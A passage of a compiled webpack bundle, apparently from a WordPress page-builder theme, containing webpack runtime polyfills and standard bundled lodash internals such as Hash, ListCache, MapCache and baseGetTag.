node_modulesWebpackBuildinGlobalJs(module,exports){var g;// This works in non-strict mode g=function(){return this;}();try{// This works if eval is allowed (see CSP) g=g||new Function("return this")();}catch(e){// This works if the window reference is available if((typeof window==="undefined"?"undefined":_typeof2(window))==="object")g=window;}// g can still be undefined, but nothing to do about it... // We return undefined, instead of nothing here, so it's // easier to handle this case. if(!global) { ...} module.exports=g;/***/},/***/"./node_modules/webpack/buildin/module.js":/*!***********************************!*\ !*** (webpack)/buildin/module.js ***! \***********************************/ /*! no static exports found */ /***/function node_modulesWebpackBuildinModuleJs(module,exports){module.exports=function(module){if(!module.webpackPolyfill){module.deprecate=function(){};module.paths=[];// module.parent = undefined by default if(!module.children)module.children=[];Object.defineProperty(module,"loaded",{enumerable:true,get:function get(){return module.l;}});Object.defineProperty(module,"id",{enumerable:true,get:function get(){return module.i;}});module.webpackPolyfill=1;}return module;};/***/},/***/"jquery":/*!*************************!*\ !*** external "jQuery" ***! \*************************/ /*! no static exports found */ /***/function jquery(module,exports){(function(){module.exports=window["jQuery"];})();/***/}/******/})); /***/ }), /***/ "./includes/builder/node_modules/lodash/_Hash.js": /*!*******************************************************!*\ !*** ./includes/builder/node_modules/lodash/_Hash.js ***! \*******************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var hashClear = __webpack_require__(/*! ./_hashClear */ "./includes/builder/node_modules/lodash/_hashClear.js"), hashDelete = __webpack_require__(/*! ./_hashDelete */ "./includes/builder/node_modules/lodash/_hashDelete.js"), hashGet = __webpack_require__(/*! ./_hashGet */ "./includes/builder/node_modules/lodash/_hashGet.js"), hashHas = __webpack_require__(/*! ./_hashHas */ "./includes/builder/node_modules/lodash/_hashHas.js"), hashSet = __webpack_require__(/*! ./_hashSet */ "./includes/builder/node_modules/lodash/_hashSet.js"); /** * Creates a hash object. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function Hash(entries) { var index = -1, length = entries == null ? 0 : entries.length; this.clear(); while (++index < length) { var entry = entries[index]; this.set(entry[0], entry[1]); } } // Add methods to `Hash`. Hash.prototype.clear = hashClear; Hash.prototype['delete'] = hashDelete; Hash.prototype.get = hashGet; Hash.prototype.has = hashHas; Hash.prototype.set = hashSet; module.exports = Hash; /***/ }), /***/ "./includes/builder/node_modules/lodash/_ListCache.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_ListCache.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var listCacheClear = __webpack_require__(/*! ./_listCacheClear */ "./includes/builder/node_modules/lodash/_listCacheClear.js"), listCacheDelete = __webpack_require__(/*! ./_listCacheDelete */ "./includes/builder/node_modules/lodash/_listCacheDelete.js"), listCacheGet = __webpack_require__(/*! ./_listCacheGet */ "./includes/builder/node_modules/lodash/_listCacheGet.js"), listCacheHas = __webpack_require__(/*! ./_listCacheHas */ "./includes/builder/node_modules/lodash/_listCacheHas.js"), listCacheSet = __webpack_require__(/*! ./_listCacheSet */ "./includes/builder/node_modules/lodash/_listCacheSet.js"); /** * Creates an list cache object. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function ListCache(entries) { var index = -1, length = entries == null ? 0 : entries.length; this.clear(); while (++index < length) { var entry = entries[index]; this.set(entry[0], entry[1]); } } // Add methods to `ListCache`. ListCache.prototype.clear = listCacheClear; ListCache.prototype['delete'] = listCacheDelete; ListCache.prototype.get = listCacheGet; ListCache.prototype.has = listCacheHas; ListCache.prototype.set = listCacheSet; module.exports = ListCache; /***/ }), /***/ "./includes/builder/node_modules/lodash/_Map.js": /*!******************************************************!*\ !*** ./includes/builder/node_modules/lodash/_Map.js ***! \******************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var getNative = __webpack_require__(/*! ./_getNative */ "./includes/builder/node_modules/lodash/_getNative.js"), root = __webpack_require__(/*! ./_root */ "./includes/builder/node_modules/lodash/_root.js"); /* Built-in method references that are verified to be native. */ var Map = getNative(root, 'Map'); module.exports = Map; /***/ }), /***/ "./includes/builder/node_modules/lodash/_MapCache.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_MapCache.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var mapCacheClear = __webpack_require__(/*! ./_mapCacheClear */ "./includes/builder/node_modules/lodash/_mapCacheClear.js"), mapCacheDelete = __webpack_require__(/*! ./_mapCacheDelete */ "./includes/builder/node_modules/lodash/_mapCacheDelete.js"), mapCacheGet = __webpack_require__(/*! ./_mapCacheGet */ "./includes/builder/node_modules/lodash/_mapCacheGet.js"), mapCacheHas = __webpack_require__(/*! ./_mapCacheHas */ "./includes/builder/node_modules/lodash/_mapCacheHas.js"), mapCacheSet = __webpack_require__(/*! ./_mapCacheSet */ "./includes/builder/node_modules/lodash/_mapCacheSet.js"); /** * Creates a map cache object to store key-value pairs. * * @private * @constructor * @param {Array} [entries] The key-value pairs to cache. */ function MapCache(entries) { var index = -1, length = entries == null ? 0 : entries.length; this.clear(); while (++index < length) { var entry = entries[index]; this.set(entry[0], entry[1]); } } // Add methods to `MapCache`. MapCache.prototype.clear = mapCacheClear; MapCache.prototype['delete'] = mapCacheDelete; MapCache.prototype.get = mapCacheGet; MapCache.prototype.has = mapCacheHas; MapCache.prototype.set = mapCacheSet; module.exports = MapCache; /***/ }), /***/ "./includes/builder/node_modules/lodash/_Symbol.js": /*!*********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_Symbol.js ***! \*********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var root = __webpack_require__(/*! ./_root */ "./includes/builder/node_modules/lodash/_root.js"); /** Built-in value references. */ var Symbol = root.Symbol; module.exports = Symbol; /***/ }), /***/ "./includes/builder/node_modules/lodash/_arrayLikeKeys.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_arrayLikeKeys.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseTimes = __webpack_require__(/*! ./_baseTimes */ "./includes/builder/node_modules/lodash/_baseTimes.js"), isArguments = __webpack_require__(/*! ./isArguments */ "./includes/builder/node_modules/lodash/isArguments.js"), isArray = __webpack_require__(/*! ./isArray */ "./includes/builder/node_modules/lodash/isArray.js"), isBuffer = __webpack_require__(/*! ./isBuffer */ "./includes/builder/node_modules/lodash/isBuffer.js"), isIndex = __webpack_require__(/*! ./_isIndex */ "./includes/builder/node_modules/lodash/_isIndex.js"), isTypedArray = __webpack_require__(/*! ./isTypedArray */ "./includes/builder/node_modules/lodash/isTypedArray.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Creates an array of the enumerable property names of the array-like `value`. * * @private * @param {*} value The value to query. * @param {boolean} inherited Specify returning inherited property names. * @returns {Array} Returns the array of property names. */ function arrayLikeKeys(value, inherited) { var isArr = isArray(value), isArg = !isArr && isArguments(value), isBuff = !isArr && !isArg && isBuffer(value), isType = !isArr && !isArg && !isBuff && isTypedArray(value), skipIndexes = isArr || isArg || isBuff || isType, result = skipIndexes ? baseTimes(value.length, String) : [], length = result.length; for (var key in value) { if ((inherited || hasOwnProperty.call(value, key)) && !(skipIndexes && ( // Safari 9 has enumerable `arguments.length` in strict mode. key == 'length' || // Node.js 0.10 has enumerable non-index properties on buffers. (isBuff && (key == 'offset' || key == 'parent')) || // PhantomJS 2 has enumerable non-index properties on typed arrays. (isType && (key == 'buffer' || key == 'byteLength' || key == 'byteOffset')) || // Skip index properties. isIndex(key, length) ))) { result.push(key); } } return result; } module.exports = arrayLikeKeys; /***/ }), /***/ "./includes/builder/node_modules/lodash/_arrayMap.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_arrayMap.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * A specialized version of `_.map` for arrays without support for iteratee * shorthands. * * @private * @param {Array} [array] The array to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns the new mapped array. */ function arrayMap(array, iteratee) { var index = -1, length = array == null ? 0 : array.length, result = Array(length); while (++index < length) { result[index] = iteratee(array[index], index, array); } return result; } module.exports = arrayMap; /***/ }), /***/ "./includes/builder/node_modules/lodash/_assocIndexOf.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_assocIndexOf.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var eq = __webpack_require__(/*! ./eq */ "./includes/builder/node_modules/lodash/eq.js"); /** * Gets the index at which the `key` is found in `array` of key-value pairs. * * @private * @param {Array} array The array to inspect. * @param {*} key The key to search for. * @returns {number} Returns the index of the matched value, else `-1`. */ function assocIndexOf(array, key) { var length = array.length; while (length--) { if (eq(array[length][0], key)) { return length; } } return -1; } module.exports = assocIndexOf; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseFindIndex.js": /*!****************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseFindIndex.js ***! \****************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * The base implementation of `_.findIndex` and `_.findLastIndex` without * support for iteratee shorthands. * * @private * @param {Array} array The array to inspect. * @param {Function} predicate The function invoked per iteration. * @param {number} fromIndex The index to search from. * @param {boolean} [fromRight] Specify iterating from right to left. * @returns {number} Returns the index of the matched value, else `-1`. */ function baseFindIndex(array, predicate, fromIndex, fromRight) { var length = array.length, index = fromIndex + (fromRight ? 1 : -1); while ((fromRight ? index-- : ++index < length)) { if (predicate(array[index], index, array)) { return index; } } return -1; } module.exports = baseFindIndex; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseGet.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseGet.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var castPath = __webpack_require__(/*! ./_castPath */ "./includes/builder/node_modules/lodash/_castPath.js"), toKey = __webpack_require__(/*! ./_toKey */ "./includes/builder/node_modules/lodash/_toKey.js"); /** * The base implementation of `_.get` without support for default values. * * @private * @param {Object} object The object to query. * @param {Array|string} path The path of the property to get. * @returns {*} Returns the resolved value. */ function baseGet(object, path) { path = castPath(path, object); var index = 0, length = path.length; while (object != null && index < length) { object = object[toKey(path[index++])]; } return (index && index == length) ? object : undefined; } module.exports = baseGet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseGetTag.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseGetTag.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var Symbol = __webpack_require__(/*! ./_Symbol */ "./includes/builder/node_modules/lodash/_Symbol.js"), getRawTag = __webpack_require__(/*! ./_getRawTag */ "./includes/builder/node_modules/lodash/_getRawTag.js"), objectToString = __webpack_require__(/*! ./_objectToString */ "./includes/builder/node_modules/lodash/_objectToString.js"); /** `Object#toString` result references. */ var nullTag = '[object Null]', undefinedTag = '[object Undefined]'; /** Built-in value references. */ var symToStringTag = Symbol ? Symbol.toStringTag : undefined; /** * The base implementation of `getTag` without fallbacks for buggy environments. * * @private * @param {*} value The value to query. * @returns {string} Returns the `toStringTag`. */ function baseGetTag(value) { if (value == null) { return value === undefined ? undefinedTag : nullTag; } return (symToStringTag && symToStringTag in Object(value)) ? getRawTag(value) : objectToString(value); } module.exports = baseGetTag; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIndexOf.js": /*!**************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIndexOf.js ***! \**************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseFindIndex = __webpack_require__(/*! ./_baseFindIndex */ "./includes/builder/node_modules/lodash/_baseFindIndex.js"), baseIsNaN = __webpack_require__(/*! ./_baseIsNaN */ "./includes/builder/node_modules/lodash/_baseIsNaN.js"), strictIndexOf = __webpack_require__(/*! ./_strictIndexOf */ "./includes/builder/node_modules/lodash/_strictIndexOf.js"); /** * The base implementation of `_.indexOf` without `fromIndex` bounds checks. * * @private * @param {Array} array The array to inspect. * @param {*} value The value to search for. * @param {number} fromIndex The index to search from. * @returns {number} Returns the index of the matched value, else `-1`. */ function baseIndexOf(array, value, fromIndex) { return value === value ? strictIndexOf(array, value, fromIndex) : baseFindIndex(array, baseIsNaN, fromIndex); } module.exports = baseIndexOf; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIsArguments.js": /*!******************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIsArguments.js ***! \******************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var argsTag = '[object Arguments]'; /** * The base implementation of `_.isArguments`. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is an `arguments` object, */ function baseIsArguments(value) { return isObjectLike(value) && baseGetTag(value) == argsTag; } module.exports = baseIsArguments; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIsNaN.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIsNaN.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * The base implementation of `_.isNaN` without support for number objects. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is `NaN`, else `false`. */ function baseIsNaN(value) { return value !== value; } module.exports = baseIsNaN; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIsNative.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIsNative.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isFunction = __webpack_require__(/*! ./isFunction */ "./includes/builder/node_modules/lodash/isFunction.js"), isMasked = __webpack_require__(/*! ./_isMasked */ "./includes/builder/node_modules/lodash/_isMasked.js"), isObject = __webpack_require__(/*! ./isObject */ "./includes/builder/node_modules/lodash/isObject.js"), toSource = __webpack_require__(/*! ./_toSource */ "./includes/builder/node_modules/lodash/_toSource.js"); /** * Used to match `RegExp` * [syntax characters](http://ecma-international.org/ecma-262/7.0/#sec-patterns). */ var reRegExpChar = /[\\^$.*+?()[\]{}|]/g; /** Used to detect host constructors (Safari). */ var reIsHostCtor = /^\[object .+?Constructor\]$/; /** Used for built-in method references. */ var funcProto = Function.prototype, objectProto = Object.prototype; /** Used to resolve the decompiled source of functions. */ var funcToString = funcProto.toString; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** Used to detect if a method is native. */ var reIsNative = RegExp('^' + funcToString.call(hasOwnProperty).replace(reRegExpChar, '\\$&') .replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g, '$1.*?') + '$' ); /** * The base implementation of `_.isNative` without bad shim checks. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a native function, * else `false`. */ function baseIsNative(value) { if (!isObject(value) || isMasked(value)) { return false; } var pattern = isFunction(value) ? reIsNative : reIsHostCtor; return pattern.test(toSource(value)); } module.exports = baseIsNative; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseIsTypedArray.js": /*!*******************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseIsTypedArray.js ***! \*******************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseGetTag = __webpack_require__(/*! ./_baseGetTag */ "./includes/builder/node_modules/lodash/_baseGetTag.js"), isLength = __webpack_require__(/*! ./isLength */ "./includes/builder/node_modules/lodash/isLength.js"), isObjectLike = __webpack_require__(/*! ./isObjectLike */ "./includes/builder/node_modules/lodash/isObjectLike.js"); /** `Object#toString` result references. */ var argsTag = '[object Arguments]', arrayTag = '[object Array]', boolTag = '[object Boolean]', dateTag = '[object Date]', errorTag = '[object Error]', funcTag = '[object Function]', mapTag = '[object Map]', numberTag = '[object Number]', objectTag = '[object Object]', regexpTag = '[object RegExp]', setTag = '[object Set]', stringTag = '[object String]', weakMapTag = '[object WeakMap]'; var arrayBufferTag = '[object ArrayBuffer]', dataViewTag = '[object DataView]', float32Tag = '[object Float32Array]', float64Tag = '[object Float64Array]', int8Tag = '[object Int8Array]', int16Tag = '[object Int16Array]', int32Tag = '[object Int32Array]', uint8Tag = '[object Uint8Array]', uint8ClampedTag = '[object Uint8ClampedArray]', uint16Tag = '[object Uint16Array]', uint32Tag = '[object Uint32Array]'; /** Used to identify `toStringTag` values of typed arrays. */ var typedArrayTags = {}; typedArrayTags[float32Tag] = typedArrayTags[float64Tag] = typedArrayTags[int8Tag] = typedArrayTags[int16Tag] = typedArrayTags[int32Tag] = typedArrayTags[uint8Tag] = typedArrayTags[uint8ClampedTag] = typedArrayTags[uint16Tag] = typedArrayTags[uint32Tag] = true; typedArrayTags[argsTag] = typedArrayTags[arrayTag] = typedArrayTags[arrayBufferTag] = typedArrayTags[boolTag] = typedArrayTags[dataViewTag] = typedArrayTags[dateTag] = typedArrayTags[errorTag] = typedArrayTags[funcTag] = typedArrayTags[mapTag] = typedArrayTags[numberTag] = typedArrayTags[objectTag] = typedArrayTags[regexpTag] = typedArrayTags[setTag] = typedArrayTags[stringTag] = typedArrayTags[weakMapTag] = false; /** * The base implementation of `_.isTypedArray` without Node.js optimizations. * * @private * @param {*} value The value to check. * @returns {boolean} Returns `true` if `value` is a typed array, else `false`. */ function baseIsTypedArray(value) { return isObjectLike(value) && isLength(value.length) && !!typedArrayTags[baseGetTag(value)]; } module.exports = baseIsTypedArray; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseKeys.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseKeys.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isPrototype = __webpack_require__(/*! ./_isPrototype */ "./includes/builder/node_modules/lodash/_isPrototype.js"), nativeKeys = __webpack_require__(/*! ./_nativeKeys */ "./includes/builder/node_modules/lodash/_nativeKeys.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * The base implementation of `_.keys` which doesn't treat sparse arrays as dense. * * @private * @param {Object} object The object to query. * @returns {Array} Returns the array of property names. */ function baseKeys(object) { if (!isPrototype(object)) { return nativeKeys(object); } var result = []; for (var key in Object(object)) { if (hasOwnProperty.call(object, key) && key != 'constructor') { result.push(key); } } return result; } module.exports = baseKeys; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseTimes.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseTimes.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * The base implementation of `_.times` without support for iteratee shorthands * or max array length checks. * * @private * @param {number} n The number of times to invoke `iteratee`. * @param {Function} iteratee The function invoked per iteration. * @returns {Array} Returns the array of results. */ function baseTimes(n, iteratee) { var index = -1, result = Array(n); while (++index < n) { result[index] = iteratee(index); } return result; } module.exports = baseTimes; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseToString.js": /*!***************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseToString.js ***! \***************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var Symbol = __webpack_require__(/*! ./_Symbol */ "./includes/builder/node_modules/lodash/_Symbol.js"), arrayMap = __webpack_require__(/*! ./_arrayMap */ "./includes/builder/node_modules/lodash/_arrayMap.js"), isArray = __webpack_require__(/*! ./isArray */ "./includes/builder/node_modules/lodash/isArray.js"), isSymbol = __webpack_require__(/*! ./isSymbol */ "./includes/builder/node_modules/lodash/isSymbol.js"); /** Used as references for various `Number` constants. */ var INFINITY = 1 / 0; /** Used to convert symbols to primitives and strings. */ var symbolProto = Symbol ? Symbol.prototype : undefined, symbolToString = symbolProto ? symbolProto.toString : undefined; /** * The base implementation of `_.toString` which doesn't convert nullish * values to empty strings. * * @private * @param {*} value The value to process. * @returns {string} Returns the string. */ function baseToString(value) { // Exit early for strings to avoid a performance hit in some environments. if (typeof value == 'string') { return value; } if (isArray(value)) { // Recursively convert values (susceptible to call stack limits). return arrayMap(value, baseToString) + ''; } if (isSymbol(value)) { return symbolToString ? symbolToString.call(value) : ''; } var result = (value + ''); return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result; } module.exports = baseToString; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseTrim.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseTrim.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var trimmedEndIndex = __webpack_require__(/*! ./_trimmedEndIndex */ "./includes/builder/node_modules/lodash/_trimmedEndIndex.js"); /** Used to match leading whitespace. */ var reTrimStart = /^\s+/; /** * The base implementation of `_.trim`. * * @private * @param {string} string The string to trim. * @returns {string} Returns the trimmed string. */ function baseTrim(string) { return string ? string.slice(0, trimmedEndIndex(string) + 1).replace(reTrimStart, '') : string; } module.exports = baseTrim; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseUnary.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseUnary.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * The base implementation of `_.unary` without support for storing metadata. * * @private * @param {Function} func The function to cap arguments for. * @returns {Function} Returns the new capped function. */ function baseUnary(func) { return function(value) { return func(value); }; } module.exports = baseUnary; /***/ }), /***/ "./includes/builder/node_modules/lodash/_baseValues.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_baseValues.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var arrayMap = __webpack_require__(/*! ./_arrayMap */ "./includes/builder/node_modules/lodash/_arrayMap.js"); /** * The base implementation of `_.values` and `_.valuesIn` which creates an * array of `object` property values corresponding to the property names * of `props`. * * @private * @param {Object} object The object to query. * @param {Array} props The property names to get values for. * @returns {Object} Returns the array of property values. */ function baseValues(object, props) { return arrayMap(props, function(key) { return object[key]; }); } module.exports = baseValues; /***/ }), /***/ "./includes/builder/node_modules/lodash/_castPath.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_castPath.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isArray = __webpack_require__(/*! ./isArray */ "./includes/builder/node_modules/lodash/isArray.js"), isKey = __webpack_require__(/*! ./_isKey */ "./includes/builder/node_modules/lodash/_isKey.js"), stringToPath = __webpack_require__(/*! ./_stringToPath */ "./includes/builder/node_modules/lodash/_stringToPath.js"), toString = __webpack_require__(/*! ./toString */ "./includes/builder/node_modules/lodash/toString.js"); /** * Casts `value` to a path array if it's not one. * * @private * @param {*} value The value to inspect. * @param {Object} [object] The object to query keys on. * @returns {Array} Returns the cast property path array. */ function castPath(value, object) { if (isArray(value)) { return value; } return isKey(value, object) ? [value] : stringToPath(toString(value)); } module.exports = castPath; /***/ }), /***/ "./includes/builder/node_modules/lodash/_coreJsData.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_coreJsData.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var root = __webpack_require__(/*! ./_root */ "./includes/builder/node_modules/lodash/_root.js"); /** Used to detect overreaching core-js shims. */ var coreJsData = root['__core-js_shared__']; module.exports = coreJsData; /***/ }), /***/ "./includes/builder/node_modules/lodash/_freeGlobal.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_freeGlobal.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { /* WEBPACK VAR INJECTION */(function(global) {/** Detect free variable `global` from Node.js. */ var freeGlobal = typeof global == 'object' && global && global.Object === Object && global; module.exports = freeGlobal; /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../../../node_modules/webpack/buildin/global.js */ "./node_modules/webpack/buildin/global.js"))) /***/ }), /***/ "./includes/builder/node_modules/lodash/_getMapData.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_getMapData.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var isKeyable = __webpack_require__(/*! ./_isKeyable */ "./includes/builder/node_modules/lodash/_isKeyable.js"); /** * Gets the data for `map`. * * @private * @param {Object} map The map to query. * @param {string} key The reference key. * @returns {*} Returns the map data. */ function getMapData(map, key) { var data = map.__data__; return isKeyable(key) ? data[typeof key == 'string' ? 'string' : 'hash'] : data.map; } module.exports = getMapData; /***/ }), /***/ "./includes/builder/node_modules/lodash/_getNative.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_getNative.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var baseIsNative = __webpack_require__(/*! ./_baseIsNative */ "./includes/builder/node_modules/lodash/_baseIsNative.js"), getValue = __webpack_require__(/*! ./_getValue */ "./includes/builder/node_modules/lodash/_getValue.js"); /** * Gets the native function at `key` of `object`. * * @private * @param {Object} object The object to query. * @param {string} key The key of the method to get. * @returns {*} Returns the function if it's native, else `undefined`. */ function getNative(object, key) { var value = getValue(object, key); return baseIsNative(value) ? value : undefined; } module.exports = getNative; /***/ }), /***/ "./includes/builder/node_modules/lodash/_getRawTag.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_getRawTag.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var Symbol = __webpack_require__(/*! ./_Symbol */ "./includes/builder/node_modules/lodash/_Symbol.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Used to resolve the * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring) * of values. */ var nativeObjectToString = objectProto.toString; /** Built-in value references. */ var symToStringTag = Symbol ? Symbol.toStringTag : undefined; /** * A specialized version of `baseGetTag` which ignores `Symbol.toStringTag` values. * * @private * @param {*} value The value to query. * @returns {string} Returns the raw `toStringTag`. */ function getRawTag(value) { var isOwn = hasOwnProperty.call(value, symToStringTag), tag = value[symToStringTag]; try { value[symToStringTag] = undefined; var unmasked = true; } catch (e) {} var result = nativeObjectToString.call(value); if (unmasked) { if (isOwn) { value[symToStringTag] = tag; } else { delete value[symToStringTag]; } } return result; } module.exports = getRawTag; /***/ }), /***/ "./includes/builder/node_modules/lodash/_getValue.js": /*!***********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_getValue.js ***! \***********************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Gets the value at `key` of `object`. * * @private * @param {Object} [object] The object to query. * @param {string} key The key of the property to get. * @returns {*} Returns the property value. */ function getValue(object, key) { return object == null ? undefined : object[key]; } module.exports = getValue; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashClear.js": /*!************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashClear.js ***! \************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var nativeCreate = __webpack_require__(/*! ./_nativeCreate */ "./includes/builder/node_modules/lodash/_nativeCreate.js"); /** * Removes all key-value entries from the hash. * * @private * @name clear * @memberOf Hash */ function hashClear() { this.__data__ = nativeCreate ? nativeCreate(null) : {}; this.size = 0; } module.exports = hashClear; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashDelete.js": /*!*************************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashDelete.js ***! \*************************************************************/ /*! no static exports found */ /***/ (function(module, exports) { /** * Removes `key` and its value from the hash. * * @private * @name delete * @memberOf Hash * @param {Object} hash The hash to modify. * @param {string} key The key of the value to remove. * @returns {boolean} Returns `true` if the entry was removed, else `false`. */ function hashDelete(key) { var result = this.has(key) && delete this.__data__[key]; this.size -= result ? 1 : 0; return result; } module.exports = hashDelete; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashGet.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashGet.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var nativeCreate = __webpack_require__(/*! ./_nativeCreate */ "./includes/builder/node_modules/lodash/_nativeCreate.js"); /** Used to stand-in for `undefined` hash values. */ var HASH_UNDEFINED = '__lodash_hash_undefined__'; /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Gets the hash value for `key`. * * @private * @name get * @memberOf Hash * @param {string} key The key of the value to get. * @returns {*} Returns the entry value. */ function hashGet(key) { var data = this.__data__; if (nativeCreate) { var result = data[key]; return result === HASH_UNDEFINED ? undefined : result; } return hasOwnProperty.call(data, key) ? data[key] : undefined; } module.exports = hashGet; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashHas.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashHas.js ***! \**********************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { var nativeCreate = __webpack_require__(/*! ./_nativeCreate */ "./includes/builder/node_modules/lodash/_nativeCreate.js"); /** Used for built-in method references. */ var objectProto = Object.prototype; /** Used to check objects for own properties. */ var hasOwnProperty = objectProto.hasOwnProperty; /** * Checks if a hash value for `key` exists. * * @private * @name has * @memberOf Hash * @param {string} key The key of the entry to check. * @returns {boolean} Returns `true` if an entry for `key` exists, else `false`. */ function hashHas(key) { var data = this.__data__; return nativeCreate ? (data[key] !== undefined) : hasOwnProperty.call(data, key); } module.exports = hashHas; /***/ }), /***/ "./includes/builder/node_modules/lodash/_hashSet.js": /*!**********************************************************!*\ !*** ./includes/builder/node_modules/lodash/_hashSet.js ***! 